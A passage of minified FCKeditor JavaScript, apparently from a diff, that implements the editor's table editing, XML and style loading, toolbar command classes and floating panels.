(FCKBrowserInfo.IsGecko) C.innerHTML=GECKO_BOGUS;if (B.cellIndex==B.parentNode.cells.length-1){B.parentNode.appendChild(C);}else{B.parentNode.insertBefore(C,B.nextSibling);};return C;};FCKTableHandler.DeleteCell=function(A){if (A.parentNode.cells.length==1){FCKTableHandler.DeleteRows(FCKTools.GetElementAscensor(A,'TR'));return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteCells=function(){var A=FCKTableHandler.GetSelectedCells();for (var i=A.length-1;i>=0;i--){FCKTableHandler.DeleteCell(A[i]);}};FCKTableHandler.MergeCells=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length<2) return;if (A[0].parentNode!=A[A.length-1].parentNode) return;var B=isNaN(A[0].colSpan)?1:A[0].colSpan;var C='';var D=FCK.EditorDocument.createDocumentFragment();for (var i=A.length-1;i>=0;i--){var E=A[i];for (var c=E.childNodes.length-1;c>=0;c--){var F=E.removeChild(E.childNodes[c]);if ((F.hasAttribute&&F.hasAttribute('_moz_editor_bogus_node'))||(F.getAttribute&&F.getAttribute('type',2)=='_moz')) continue;D.insertBefore(F,D.firstChild);};if (i>0){B+=isNaN(E.colSpan)?1:E.colSpan;FCKTableHandler.DeleteCell(E);}};A[0].colSpan=B;if (FCKBrowserInfo.IsGecko&&D.childNodes.length==0) A[0].innerHTML=GECKO_BOGUS;else A[0].appendChild(D);};FCKTableHandler.SplitCell=function(){var A=FCKTableHandler.GetSelectedCells();if (A.length!=1) return;var B=this._CreateTableMap(A[0].parentNode.parentNode);var C=FCKTableHandler._GetCellIndexSpan(B,A[0].parentNode.rowIndex,A[0]);var D=this._GetCollumnCells(B,C);for (var i=0;i<D.length;i++){if (D[i]==A[0]){var E=this.InsertCell(A[0]);if (!isNaN(A[0].rowSpan)&&A[0].rowSpan>1) E.rowSpan=A[0].rowSpan;}else{if (isNaN(D[i].colSpan)) D[i].colSpan=2;else D[i].colSpan+=1;}}};FCKTableHandler._GetCellIndexSpan=function(A,B,C){if (A.length<B+1) return null;var D=A[B];for (var c=0;c<D.length;c++){if (D[c]==C) return c;};return null;};FCKTableHandler._GetCollumnCells=function(A,B){var C=[];for (var r=0;r<A.length;r++){var D=A[r][B];if (D&&(C.length==0||C[C.length-1]!=D)) C[C.length]=D;};return C;};FCKTableHandler._CreateTableMap=function(A){var B=A.rows;var r=-1;var C=[];for (var i=0;i<B.length;i++){r++;if (!C[r]) C[r]=[];var c=-1;for (var j=0;j<B[i].cells.length;j++){var D=B[i].cells[j];c++;while (C[r][c]) c++;var E=isNaN(D.colSpan)?1:D.colSpan;var F=isNaN(D.rowSpan)?1:D.rowSpan;for (var G=0;G<F;G++){if (!C[r+G]) C[r+G]=[];for (var H=0;H<E;H++){C[r+G][c+H]=B[i].cells[j];}};c+=E-1;}};return C;};FCKTableHandler.ClearRow=function(A){var B=A.cells;for (var i=0;i<B.length;i++){if (FCKBrowserInfo.IsGecko) B[i].innerHTML=GECKO_BOGUS;else B[i].innerHTML='';}};
+FCKTableHandler.GetSelectedCells=function(){var A=[];var B=FCK.EditorWindow.getSelection();if (B.rangeCount==1&&B.anchorNode.nodeType==3){var C=FCKTools.GetElementAscensor(B.anchorNode,'TD,TH');if (C){A[0]=C;return A;}};for (var i=0;i<B.rangeCount;i++){var D=B.getRangeAt(i);var E;if (D.startContainer.tagName.Equals('TD','TH')) E=D.startContainer;else E=D.startContainer.childNodes[D.startOffset];if (E.tagName.Equals('TD','TH')) A[A.length]=E;};return A;};
+var FCKXml=function(){};FCKXml.prototype.LoadUrl=function(A){this.Error=false;var B=this;var C=FCKTools.CreateXmlObject('XmlHttp');C.open("GET",A,false);C.send(null);if (C.status==200||C.status==304) this.DOMDocument=C.responseXML;else if (C.status==0&&C.readyState==4) this.DOMDocument=C.responseXML;else this.DOMDocument=null;if (this.DOMDocument==null||this.DOMDocument.firstChild==null){this.Error=true;if (window.confirm('Error loading "'+A+'"\r\nDo you want to see more info?')) alert('URL requested: "'+A+'"\r\nServer response:\r\nStatus: '+C.status+'\r\nResponse text:\r\n'+C.responseText);}};FCKXml.prototype.SelectNodes=function(A,B){if (this.Error) return [];var C=[];var D=this.DOMDocument.evaluate(A,B?B:this.DOMDocument,this.DOMDocument.createNSResolver(this.DOMDocument.documentElement),XPathResult.ORDERED_NODE_ITERATOR_TYPE,null);if (D){var E=D.iterateNext();while(E){C[C.length]=E;E=D.iterateNext();}};return C;};FCKXml.prototype.SelectSingleNode=function(A,B){if (this.Error) return null;var C=this.DOMDocument.evaluate(A,B?B:this.DOMDocument,this.DOMDocument.createNSResolver(this.DOMDocument.documentElement),9,null);if (C&&C.singleNodeValue) return C.singleNodeValue;else return null;}
+var FCKStyleDef=function(A,B){this.Name=A;this.Element=B.toUpperCase();this.IsObjectElement=FCKRegexLib.ObjectElements.test(this.Element);this.Attributes={};};FCKStyleDef.prototype.AddAttribute=function(A,B){this.Attributes[A]=B;};FCKStyleDef.prototype.GetOpenerTag=function(){var s='<'+this.Element;for (var a in this.Attributes) s+=' '+a+'="'+this.Attributes[a]+'"';return s+'>';};FCKStyleDef.prototype.GetCloserTag=function(){return '</'+this.Element+'>';};FCKStyleDef.prototype.RemoveFromSelection=function(){if (FCKSelection.GetType()=='Control') this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement());else this._RemoveMe(FCK.ToolbarSet.CurrentInstance.Selection.GetParentElement());}
+FCKStyleDef.prototype.ApplyToSelection=function(){if (FCKSelection.GetType()=='Text'&&!this.IsObjectElement){var A=FCK.ToolbarSet.CurrentInstance.EditorWindow.getSelection();var e=FCK.ToolbarSet.CurrentInstance.EditorDocument.createElement(this.Element);for (var i=0;i<A.rangeCount;i++){e.appendChild(A.getRangeAt(i).extractContents());};this._AddAttributes(e);this._RemoveDuplicates(e);var B=A.getRangeAt(0);B.insertNode(e);}else{var C=FCK.ToolbarSet.CurrentInstance.Selection.GetSelectedElement();if (C.tagName==this.Element) this._AddAttributes(C);}};FCKStyleDef.prototype._AddAttributes=function(A){for (var a in this.Attributes){switch (a.toLowerCase()){case 'src':A.setAttribute('_fcksavedurl',this.Attributes[a],0);default:A.setAttribute(a,this.Attributes[a],0);}}};FCKStyleDef.prototype._RemoveDuplicates=function(A){for (var i=0;i<A.childNodes.length;i++){var B=A.childNodes[i];if (B.nodeType!=1) continue;this._RemoveDuplicates(B);if (this.IsEqual(B)) FCKTools.RemoveOuterTags(B);}};FCKStyleDef.prototype.IsEqual=function(e){if (e.tagName!=this.Element) return false;for (var a in this.Attributes){if (e.getAttribute(a)!=this.Attributes[a]) return false;};return true;};FCKStyleDef.prototype._RemoveMe=function(A){if (!A) return;var B=A.parentNode;if (A.nodeType==1&&this.IsEqual(A)){if (this.IsObjectElement){for (var a in this.Attributes) A.removeAttribute(a,0);return;}else FCKTools.RemoveOuterTags(A);};this._RemoveMe(B);}
+var FCKStylesLoader=function(){this.Styles={};this.StyleGroups={};this.Loaded=false;this.HasObjectElements=false;};FCKStylesLoader.prototype.Load=function(A){var B=new FCKXml();B.LoadUrl(A);var C=B.SelectNodes('Styles/Style');for (var i=0;i<C.length;i++){var D=C[i].attributes.getNamedItem('element').value.toUpperCase();var E=new FCKStyleDef(C[i].attributes.getNamedItem('name').value,D);if (E.IsObjectElement) this.HasObjectElements=true;var F=B.SelectNodes('Attribute',C[i]);for (var j=0;j<F.length;j++){var G=F[j].attributes.getNamedItem('name').value;var H=F[j].attributes.getNamedItem('value').value;if (G.toLowerCase()=='style'){var I=document.createElement('SPAN');I.style.cssText=H;H=I.style.cssText;};E.AddAttribute(G,H);};this.Styles[E.Name]=E;var J=this.StyleGroups[D];if (J==null){this.StyleGroups[D]=[];J=this.StyleGroups[D];};J[J.length]=E;};this.Loaded=true;}
+var FCKNamedCommand=function(A){this.Name=A;};FCKNamedCommand.prototype.Execute=function(){FCK.ExecuteNamedCommand(this.Name);};FCKNamedCommand.prototype.GetState=function(){return FCK.GetNamedCommandState(this.Name);};
+var FCKDialogCommand=function(A,B,C,D,E,F,G){this.Name=A;this.Title=B;this.Url=C;this.Width=D;this.Height=E;this.GetStateFunction=F;this.GetStateParam=G;this.Resizable=false;};FCKDialogCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_'+this.Name,this.Title,this.Url,this.Width,this.Height,null,null,this.Resizable);};FCKDialogCommand.prototype.GetState=function(){if (this.GetStateFunction) return this.GetStateFunction(this.GetStateParam);else return 0;};var FCKUndefinedCommand=function(){this.Name='Undefined';};FCKUndefinedCommand.prototype.Execute=function(){alert(FCKLang.NotImplemented);};FCKUndefinedCommand.prototype.GetState=function(){return 0;};var FCKFontNameCommand=function(){this.Name='FontName';};FCKFontNameCommand.prototype.Execute=function(A){if (A==null||A==""){}else FCK.ExecuteNamedCommand('FontName',A);};FCKFontNameCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontName');};var FCKFontSizeCommand=function(){this.Name='FontSize';};FCKFontSizeCommand.prototype.Execute=function(A){if (typeof(A)=='string') A=parseInt(A,10);if (A==null||A==''){FCK.ExecuteNamedCommand('FontSize',3);}else FCK.ExecuteNamedCommand('FontSize',A);};FCKFontSizeCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FontSize');};var FCKFormatBlockCommand=function(){this.Name='FormatBlock';};FCKFormatBlockCommand.prototype.Execute=function(A){if (A==null||A=='') FCK.ExecuteNamedCommand('FormatBlock','<P>');else if (A=='div'&&FCKBrowserInfo.IsGecko) FCK.ExecuteNamedCommand('FormatBlock','div');else FCK.ExecuteNamedCommand('FormatBlock','<'+A+'>');};FCKFormatBlockCommand.prototype.GetState=function(){return FCK.GetNamedCommandValue('FormatBlock');};var FCKPreviewCommand=function(){this.Name='Preview';};FCKPreviewCommand.prototype.Execute=function(){FCK.Preview();};FCKPreviewCommand.prototype.GetState=function(){return 0;};var FCKSaveCommand=function(){this.Name='Save';};FCKSaveCommand.prototype.Execute=function(){var A=FCK.GetParentForm();if (typeof(A.onsubmit)=='function'){var B=A.onsubmit();if (B!=null&&B===false) return;};A.submit();};FCKSaveCommand.prototype.GetState=function(){return 0;};var FCKNewPageCommand=function(){this.Name='NewPage';};FCKNewPageCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();FCK.SetHTML('');FCKUndo.Typing=true;};FCKNewPageCommand.prototype.GetState=function(){return 0;};var FCKSourceCommand=function(){this.Name='Source';};FCKSourceCommand.prototype.Execute=function(){if (FCKConfig.SourcePopup){var A=FCKConfig.ScreenWidth*0.65;var B=FCKConfig.ScreenHeight*0.65;FCKDialog.OpenDialog('FCKDialog_Source',FCKLang.Source,'dialog/fck_source.html',A,B,null,null,true);}else FCK.SwitchEditMode();};FCKSourceCommand.prototype.GetState=function(){return (FCK.EditMode==0?0:1);};var FCKUndoCommand=function(){this.Name='Undo';};FCKUndoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Undo();else FCK.ExecuteNamedCommand('Undo');};FCKUndoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckUndoState()?0:-1);else return FCK.GetNamedCommandState('Undo');};var FCKRedoCommand=function(){this.Name='Redo';};FCKRedoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Redo();else FCK.ExecuteNamedCommand('Redo');};FCKRedoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckRedoState()?0:-1);else return FCK.GetNamedCommandState('Redo');};var FCKPageBreakCommand=function(){this.Name='PageBreak';};FCKPageBreakCommand.prototype.Execute=function(){var e=FCK.EditorDocument.createElement('DIV');e.style.pageBreakAfter='always';e.innerHTML='<span style="DISPLAY:none">&nbsp;</span>';var A=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',e);A=FCK.InsertElement(A);};FCKPageBreakCommand.prototype.GetState=function(){return 0;};var FCKUnlinkCommand=function(){this.Name='Unlink';};FCKUnlinkCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsGecko){var A=FCK.Selection.MoveToAncestorNode('A');if (A) FCK.Selection.SelectNode(A);};FCK.ExecuteNamedCommand(this.Name);if (FCKBrowserInfo.IsGecko) FCK.Selection.Collapse(true);};FCKUnlinkCommand.prototype.GetState=function(){var A=FCK.GetNamedCommandState(this.Name);if (A==0&&FCK.EditMode==0){var B=FCKSelection.MoveToAncestorNode('A');var C=(B&&B.name.length>0&&B.href.length==0);if (C) A=-1;};return A;};var FCKSelectAllCommand=function(){this.Name='SelectAll';};FCKSelectAllCommand.prototype=new FCKNamedCommand('SelectAll');FCKSelectAllCommand.prototype.GetState=function(){return 0;}
+var FCKSpellCheckCommand=function(){this.Name='SpellCheck';this.IsEnabled=(FCKConfig.SpellChecker=='SpellerPages');};FCKSpellCheckCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_SpellCheck','Spell Check','dialog/fck_spellerpages.html',440,480);};FCKSpellCheckCommand.prototype.GetState=function(){return this.IsEnabled?0:-1;}
+var FCKTextColorCommand=function(A){this.Name=A=='ForeColor'?'TextColor':'BGColor';this.Type=A;var B;if (FCKBrowserInfo.IsIE) B=window;else if (FCK.ToolbarSet._IFrame) B=FCKTools.GetElementWindow(FCK.ToolbarSet._IFrame);else B=window.parent;this._Panel=new FCKPanel(B,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._Panel.MainNode.className='FCK_Panel';this._CreatePanelBody(this._Panel.Document,this._Panel.MainNode);FCKTools.DisableSelection(this._Panel.Document.body);};FCKTextColorCommand.prototype.Execute=function(A,B,C){FCK._ActiveColorPanelType=this.Type;this._Panel.Show(A,B,C);};FCKTextColorCommand.prototype.SetColor=function(A){if (FCK._ActiveColorPanelType=='ForeColor') FCK.ExecuteNamedCommand('ForeColor',A);else if (FCKBrowserInfo.IsGeckoLike){if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,false);FCK.ExecuteNamedCommand('hilitecolor',A);if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,true);}else FCK.ExecuteNamedCommand('BackColor',A);delete FCK._ActiveColorPanelType;};FCKTextColorCommand.prototype.GetState=function(){return 0;};function FCKTextColorCommand_OnMouseOver()      { this.className='ColorSelected';};function FCKTextColorCommand_OnMouseOut()    { this.className='ColorDeselected';};function FCKTextColorCommand_OnClick(){this.className='ColorDeselected';this.Command.SetColor('#'+this.Color);this.Command._Panel.Hide();};function FCKTextColorCommand_AutoOnClick(){this.className='ColorDeselected';this.Command.SetColor('');this.Command._Panel.Hide();};function FCKTextColorCommand_MoreOnClick(){this.className='ColorDeselected';this.Command._Panel.Hide();FCKDialog.OpenDialog('FCKDialog_Color',FCKLang.DlgColorTitle,'dialog/fck_colorselector.html',400,330,this.Command.SetColor);};FCKTextColorCommand.prototype._CreatePanelBody=function(A,B){function CreateSelectionDiv(){var C=A.createElement("DIV");C.className='ColorDeselected';C.onmouseover=FCKTextColorCommand_OnMouseOver;C.onmouseout=FCKTextColorCommand_OnMouseOut;return C;};var D=B.appendChild(A.createElement("TABLE"));D.className='ForceBaseFont';D.style.tableLayout='fixed';D.cellPadding=0;D.cellSpacing=0;D.border=0;D.width=150;var E=D.insertRow(-1).insertCell(-1);E.colSpan=8;var C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table cellspacing="0" cellpadding="0" width="100%" border="0">\n                       <tr>\n                          <td><div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #000000"></div></div></td>\n                             <td nowrap width="100%" align="center">'+FCKLang.ColorAutomatic+'</td>\n                        </tr>\n         </table>';C.Command=this;C.onclick=FCKTextColorCommand_AutoOnClick;var G=FCKConfig.FontColors.toString().split(',');var H=0;while (H<G.length){var I=D.insertRow(-1);for (var i=0;i<8&&H<G.length;i++,H++){C=I.insertCell(-1).appendChild(CreateSelectionDiv());C.Color=G[H];C.innerHTML='<div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #'+G[H]+'"></div></div>';C.Command=this;C.onclick=FCKTextColorCommand_OnClick;}};E=D.insertRow(-1).insertCell(-1);E.colSpan=8;C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td nowrap align="center">'+FCKLang.ColorMoreColors+'</td></tr></table>';C.Command=this;C.onclick=FCKTextColorCommand_MoreOnClick;}
+var FCKPastePlainTextCommand=function(){this.Name='PasteText';};FCKPastePlainTextCommand.prototype.Execute=function(){FCK.PasteAsPlainText();};FCKPastePlainTextCommand.prototype.GetState=function(){return FCK.GetNamedCommandState('Paste');};
+var FCKPasteWordCommand=function(){this.Name='PasteWord';};FCKPasteWordCommand.prototype.Execute=function(){FCK.PasteFromWord();};FCKPasteWordCommand.prototype.GetState=function(){if (FCKConfig.ForcePasteAsPlainText) return -1;else return FCK.GetNamedCommandState('Paste');};
+var FCKTableCommand=function(A){this.Name=A;};FCKTableCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();switch (this.Name){case 'TableInsertRow':FCKTableHandler.InsertRow();break;case 'TableDeleteRows':FCKTableHandler.DeleteRows();break;case 'TableInsertColumn':FCKTableHandler.InsertColumn();break;case 'TableDeleteColumns':FCKTableHandler.DeleteColumns();break;case 'TableInsertCell':FCKTableHandler.InsertCell();break;case 'TableDeleteCells':FCKTableHandler.DeleteCells();break;case 'TableMergeCells':FCKTableHandler.MergeCells();break;case 'TableSplitCell':FCKTableHandler.SplitCell();break;case 'TableDelete':FCKTableHandler.DeleteTable();break;default:alert(FCKLang.UnknownCommand.replace(/%1/g,this.Name));}};FCKTableCommand.prototype.GetState=function(){return 0;}
+var FCKStyleCommand=function(){this.Name='Style';this.StylesLoader=new FCKStylesLoader();this.StylesLoader.Load(FCKConfig.StylesXmlPath);this.Styles=this.StylesLoader.Styles;};FCKStyleCommand.prototype.Execute=function(A,B){FCKUndo.SaveUndoStep();if (B.Selected) B.Style.RemoveFromSelection();else B.Style.ApplyToSelection();FCKUndo.SaveUndoStep();FCK.Focus();FCK.Events.FireEvent("OnSelectionChange");};FCKStyleCommand.prototype.GetState=function(){if (!FCK.EditorDocument) return -1;var A=FCK.EditorDocument.selection;if (FCKSelection.GetType()=='Control'){var e=FCKSelection.GetSelectedElement();if (e) return this.StylesLoader.StyleGroups[e.tagName]?0:-1;};return 0;};FCKStyleCommand.prototype.GetActiveStyles=function(){var A=[];if (FCKSelection.GetType()=='Control') this._CheckStyle(FCKSelection.GetSelectedElement(),A,false);else this._CheckStyle(FCKSelection.GetParentElement(),A,true);return A;};FCKStyleCommand.prototype._CheckStyle=function(A,B,C){if (!A) return;if (A.nodeType==1){var D=this.StylesLoader.StyleGroups[A.tagName];if (D){for (var i=0;i<D.length;i++){if (D[i].IsEqual(A)) B[B.length]=D[i];}}};if (C) this._CheckStyle(A.parentNode,B,C);}
+var FCKFitWindow=function(){this.Name='FitWindow';};FCKFitWindow.prototype.Execute=function(){var A=window.frameElement;var B=A.style;var C=parent;var D=C.document.documentElement;var E=C.document.body;var F=E.style;var G;if (!this.IsMaximized){if(FCKBrowserInfo.IsIE) C.attachEvent('onresize',FCKFitWindow_Resize);else C.addEventListener('resize',FCKFitWindow_Resize,true);this._ScrollPos=FCKTools.GetScrollPosition(C);G=A;while((G=G.parentNode)){if (G.nodeType==1) G._fckSavedStyles=FCKTools.SaveStyles(G);};if (FCKBrowserInfo.IsIE){this.documentElementOverflow=D.style.overflow;D.style.overflow='hidden';F.overflow='hidden';}else{F.overflow='hidden';F.width='0px';F.height='0px';};this._EditorFrameStyles=FCKTools.SaveStyles(A);var H=FCKTools.GetViewPaneSize(C);B.position="absolute";B.zIndex=FCKConfig.FloatingPanelsZIndex-1;B.left="0px";B.top="0px";B.width=H.Width+"px";B.height=H.Height+"px";if (!FCKBrowserInfo.IsIE){B.borderRight=B.borderBottom="9999px solid white";B.backgroundColor="white";};C.scrollTo(0,0);this.IsMaximized=true;}else{if(FCKBrowserInfo.IsIE) C.detachEvent("onresize",FCKFitWindow_Resize);else C.removeEventListener("resize",FCKFitWindow_Resize,true);G=A;while((G=G.parentNode)){if (G._fckSavedStyles){FCKTools.RestoreStyles(G,G._fckSavedStyles);G._fckSavedStyles=null;}};if (FCKBrowserInfo.IsIE) D.style.overflow=this.documentElementOverflow;FCKTools.RestoreStyles(A,this._EditorFrameStyles);C.scrollTo(this._ScrollPos.X,this._ScrollPos.Y);this.IsMaximized=false;};FCKToolbarItems.GetItem('FitWindow').RefreshState();FCK.EditingArea.MakeEditable();FCK.Focus();};FCKFitWindow.prototype.GetState=function(){if (FCKConfig.ToolbarLocation!='In') return -1;else return (this.IsMaximized?1:0);};function FCKFitWindow_Resize(){var A=FCKTools.GetViewPaneSize(parent);var B=window.frameElement.style;B.width=A.Width+'px';B.height=A.Height+'px';};
+var FCKCommands=FCK.Commands={};FCKCommands.LoadedCommands={};FCKCommands.RegisterCommand=function(A,B){this.LoadedCommands[A]=B;};FCKCommands.GetCommand=function(A){var B=FCKCommands.LoadedCommands[A];if (B) return B;switch (A){case 'DocProps':B=new FCKDialogCommand('DocProps',FCKLang.DocProps,'dialog/fck_docprops.html',400,390,FCKCommands.GetFullPageState);break;case 'Templates':B=new FCKDialogCommand('Templates',FCKLang.DlgTemplatesTitle,'dialog/fck_template.html',380,450);break;case 'Link':B=new FCKDialogCommand('Link',FCKLang.DlgLnkWindowTitle,'dialog/fck_link.html',400,330);break;case 'Unlink':B=new FCKUnlinkCommand();break;case 'Anchor':B=new FCKDialogCommand('Anchor',FCKLang.DlgAnchorTitle,'dialog/fck_anchor.html',370,170);break;case 'BulletedList':B=new FCKDialogCommand('BulletedList',FCKLang.BulletedListProp,'dialog/fck_listprop.html?UL',370,170);break;case 'NumberedList':B=new FCKDialogCommand('NumberedList',FCKLang.NumberedListProp,'dialog/fck_listprop.html?OL',370,170);break;case 'About':B=new FCKDialogCommand('About',FCKLang.About,'dialog/fck_about.html',400,330);break;case 'Find':B=new FCKDialogCommand('Find',FCKLang.DlgFindTitle,'dialog/fck_find.html',340,170);break;case 'Replace':B=new FCKDialogCommand('Replace',FCKLang.DlgReplaceTitle,'dialog/fck_replace.html',340,200);break;case 'Image':B=new FCKDialogCommand('Image',FCKLang.DlgImgTitle,'dialog/fck_image.html',450,400);break;case 'Flash':B=new FCKDialogCommand('Flash',FCKLang.DlgFlashTitle,'dialog/fck_flash.html',450,400);break;case 'SpecialChar':B=new FCKDialogCommand('SpecialChar',FCKLang.DlgSpecialCharTitle,'dialog/fck_specialchar.html',400,320);break;case 'Smiley':B=new FCKDialogCommand('Smiley',FCKLang.DlgSmileyTitle,'dialog/fck_smiley.html',FCKConfig.SmileyWindowWidth,FCKConfig.SmileyWindowHeight);break;case 'Table':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html',450,250);break;case 'TableProp':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html?Parent',400,250);break;case 'TableCellProp':B=new FCKDialogCommand('TableCell',FCKLang.DlgCellTitle,'dialog/fck_tablecell.html',550,250);break;case 'Style':B=new FCKStyleCommand();break;case 'FontName':B=new FCKFontNameCommand();break;case 'FontSize':B=new FCKFontSizeCommand();break;case 'FontFormat':B=new FCKFormatBlockCommand();break;case 'Source':B=new FCKSourceCommand();break;case 'Preview':B=new FCKPreviewCommand();break;case 'Save':B=new FCKSaveCommand();break;case 'NewPage':B=new FCKNewPageCommand();break;case 'PageBreak':B=new FCKPageBreakCommand();break;case 'TextColor':B=new FCKTextColorCommand('ForeColor');break;case 'BGColor':B=new FCKTextColorCommand('BackColor');break;case 'PasteText':B=new FCKPastePlainTextCommand();break;case 'PasteWord':B=new FCKPasteWordCommand();break;case 'TableInsertRow':B=new FCKTableCommand('TableInsertRow');break;case 'TableDeleteRows':B=new FCKTableCommand('TableDeleteRows');break;case 'TableInsertColumn':B=new FCKTableCommand('TableInsertColumn');break;case 'TableDeleteColumns':B=new FCKTableCommand('TableDeleteColumns');break;case 'TableInsertCell':B=new FCKTableCommand('TableInsertCell');break;case 'TableDeleteCells':B=new FCKTableCommand('TableDeleteCells');break;case 'TableMergeCells':B=new FCKTableCommand('TableMergeCells');break;case 'TableSplitCell':B=new FCKTableCommand('TableSplitCell');break;case 'TableDelete':B=new FCKTableCommand('TableDelete');break;case 'Form':B=new FCKDialogCommand('Form',FCKLang.Form,'dialog/fck_form.html',380,230);break;case 'Checkbox':B=new FCKDialogCommand('Checkbox',FCKLang.Checkbox,'dialog/fck_checkbox.html',380,230);break;case 'Radio':B=new FCKDialogCommand('Radio',FCKLang.RadioButton,'dialog/fck_radiobutton.html',380,230);break;case 'TextField':B=new FCKDialogCommand('TextField',FCKLang.TextField,'dialog/fck_textfield.html',380,230);break;case 'Textarea':B=new FCKDialogCommand('Textarea',FCKLang.Textarea,'dialog/fck_textarea.html',380,230);break;case 'HiddenField':B=new FCKDialogCommand('HiddenField',FCKLang.HiddenField,'dialog/fck_hiddenfield.html',380,230);break;case 'Button':B=new FCKDialogCommand('Button',FCKLang.Button,'dialog/fck_button.html',380,230);break;case 'Select':B=new FCKDialogCommand('Select',FCKLang.SelectionField,'dialog/fck_select.html',400,380);break;case 'ImageButton':B=new FCKDialogCommand('ImageButton',FCKLang.ImageButton,'dialog/fck_image.html?ImageButton',450,400);break;case 'SpellCheck':B=new FCKSpellCheckCommand();break;case 'FitWindow':B=new FCKFitWindow();break;case 'Undo':B=new FCKUndoCommand();break;case 'Redo':B=new FCKRedoCommand();break;case 'SelectAll':B=new FCKSelectAllCommand();break;case 'Undefined':B=new FCKUndefinedCommand();break;default:if (FCKRegexLib.NamedCommands.test(A)) B=new FCKNamedCommand(A);else{alert(FCKLang.UnknownCommand.replace(/%1/g,A));return null;}};FCKCommands.LoadedCommands[A]=B;return B;};FCKCommands.GetFullPageState=function(){return FCKConfig.FullPage?0:-1;};
+var FCKPanel=function(A){this.IsRTL=(FCKLang.Dir=='rtl');this.IsContextMenu=false;this._LockCounter=0;this._Window=A||window;var B;if (FCKBrowserInfo.IsIE){this._Popup=this._Window.createPopup();B=this.Document=this._Popup.document;FCK.IECleanup.AddItem(this,FCKPanel_Cleanup);}else{var C=this._IFrame=this._Window.document.createElement('iframe');C.src='javascript:void(0)';C.allowTransparency=true;C.frameBorder='0';C.scrolling='no';C.style.position='absolute';C.style.zIndex=FCKConfig.FloatingPanelsZIndex;C.width=C.height=0;if (this._Window==window.parent&&window.frameElement) window.frameElement.parentNode.insertBefore(C,window.frameElement);else this._Window.document.body.appendChild(C);var D=C.contentWindow;B=this.Document=D.document;B.open();B.write('<html><head></head><body style="margin:0px;padding:0px;"><\/body><\/html>');B.close();FCKTools.AddEventListenerEx(D,'focus',FCKPanel_Window_OnFocus,this);FCKTools.AddEventListenerEx(D,'blur',FCKPanel_Window_OnBlur,this);};B.dir=FCKLang.Dir;B.oncontextmenu=FCKTools.CancelEvent;this.MainNode=B.body.appendChild(B.createElement('DIV'));this.MainNode.style.cssFloat=this.IsRTL?'right':'left';};FCKPanel.prototype.AppendStyleSheet=function(A){FCKTools.AppendStyleSheet(this.Document,A);};FCKPanel.prototype.Preload=function(x,y,A){if (this._Popup) this._Popup.show(x,y,0,0,A);};FCKPanel.prototype.Show=function(x,y,A,B,C){var D;if (this._Popup){this._Popup.show(x,y,0,0,A);this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';D=this.MainNode.offsetWidth;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=(x*-1)+A.offsetWidth-D;};this._Popup.show(x,y,D,this.MainNode.offsetHeight,A);if (this.OnHide){if (this._Timer) CheckPopupOnHide.call(this,true);this._Timer=FCKTools.SetInterval(CheckPopupOnHide,100,this);}}else{if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Lock();if (this.ParentPanel) this.ParentPanel.Lock();this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';D=this.MainNode.offsetWidth;if (!B)     this._IFrame.width=1;if (!C)    this._IFrame.height=1;D=this.MainNode.offsetWidth;var E=FCKTools.GetElementPosition(A.nodeType==9?(FCKTools.IsStrictMode(A)?A.documentElement:A.body):A,this._Window);if (this.IsRTL&&!this.IsContextMenu) x=(x*-1);x+=E.X;y+=E.Y;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=x+A.offsetWidth-D;}else{var F=FCKTools.GetViewPaneSize(this._Window);var G=FCKTools.GetScrollPosition(this._Window);var H=F.Height+G.Y;var I=F.Width+G.X;if ((x+D)>I) x-=x+D-I;if ((y+this.MainNode.offsetHeight)>H) y-=y+this.MainNode.offsetHeight-H;};if (x<0) x=0;this._IFrame.style.left=x+'px';this._IFrame.style.top=y+'px';var J=D;var K=this.MainNode.offsetHeight;this._IFrame.width=J;this._IFrame.height=K;this._IFrame.contentWindow.focus();};this._IsOpened=true;FCKTools.RunFunction(this.OnShow,this);};FCKPanel.prototype.Hide=function(A){if (this._Popup) this._Popup.hide();else{if (!this._IsOpened) return;if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Unlock();this._IFrame.width=this._IFrame.height=0;this._IsOpened=false;if (this.ParentPanel) this.ParentPanel.Unlock();if (!A) FCKTools.RunFunction(this.OnHide,this);}};FCKPanel.prototype.CheckIsOpened=function(){if (this._Popup) return this._Popup.isOpen;else return this._IsOpened;};FCKPanel.prototype.CreateChildPanel=function(){var A=this._Popup?FCKTools.GetDocumentWindow(this.Document):this._Window;var B=new FCKPanel(A,true);B.ParentPanel=this;return B;};FCKPanel.prototype.Lock=function(){this._LockCounter++;};FCKPanel.prototype.Unlock=function(){if 